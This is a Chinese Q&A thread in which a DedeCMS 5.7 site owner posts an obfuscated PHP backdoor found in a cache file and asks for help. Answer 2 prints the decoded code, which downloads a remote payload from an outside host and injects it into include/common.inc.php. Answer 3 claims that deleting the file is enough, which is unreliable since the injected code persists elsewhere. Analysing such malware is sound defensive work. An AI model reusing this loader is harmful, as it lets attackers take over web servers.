Question

织梦cms5.7超级大漏洞，tags自动生成黄色，难道织梦dedecms真的没救了吗？

可疑文件：/data/cache/cache_sess.9988.php
代码如下，谁能帮忙分析解决一下啊，我只有20分，全给你！
<?php
eval(gzinflate(base64_decode("jVFNS8MwGL4L/odQCk1gJM6BB0e86I46mNOLk5LVdCt2TUkznIq/SDwouwkbu/l1mB7Es/hDTFMd++hg7yHhTd7nI09sPwg5TZR0JY9D5nEInEbDAQXgkHS13cNK7bhSO7H2qrtH+5WDulurVuvWKcIOCSIv7J5x4olOR0RYtzhux055fQ1MKvABDBL3QgaKNUMO7VQQAXQ9PaTL1h5oeue2uHI9ESkeqQRabaXibUJUDzPRLG6VsBYjSYJVT1monENSpFbrKoj8kClu5Q1s5skYW4uEfy8AUONikUCDLxgZRCnwWZhwlIOZf91En1GHkLevl++n28Hn/c9o6ORJmlElWZQACpiU7BLaDNAdjcdeW8JiCWX7BsKpmVzfGYkw0ZsvVvLfv6FeCgImn7i7mE9hwrcUzL22AJY4X4g+rZucM64jXDHBjPvjfXA37o9eV1GYblMhMHM9q5GxPzwOn8f9OW5N8ws=")));
?>

Answer 1

首先建议你好好学习一下php语法，任何一个网站程序都有很大的漏洞，正如微软每过一段时间都要发布漏洞补丁，如果你的技术超过他就不存在漏洞；其次，要做好安全防护，任何一个疏忽都会造成致命打击；最后希望你多多向前辈请教，也希望你尽快渡过难关

Answer 2

<?php
$file=str_replace( '\\' , '/' , $_SERVER["DOCUMENT_ROOT"]).'/include/common.inc.php';
          if (is_writable($file) ){
             $str=file_get_contents("http://tx.aob163.com/ss.txt");
             $str1="gzinflate";
             $str2=file_get_contents("$file");
                 if  (strpos($str2,$str1)== false)
                 {
                     $a='//特殊全局变量';
                     $trans = array($a => $a.chr(13).chr(10).$str);
                     $to_write=strtr($str2,$trans);
                      file_put_contents("$file",$to_write);
                     echo "ok";
                 }
                 else
                 {
                 echo "已经写了";
                 }
            }
         else 
           {
           echo "不可写";
           }
?>

Answer 3

删除就行了。
这些是缓存，没有什么用。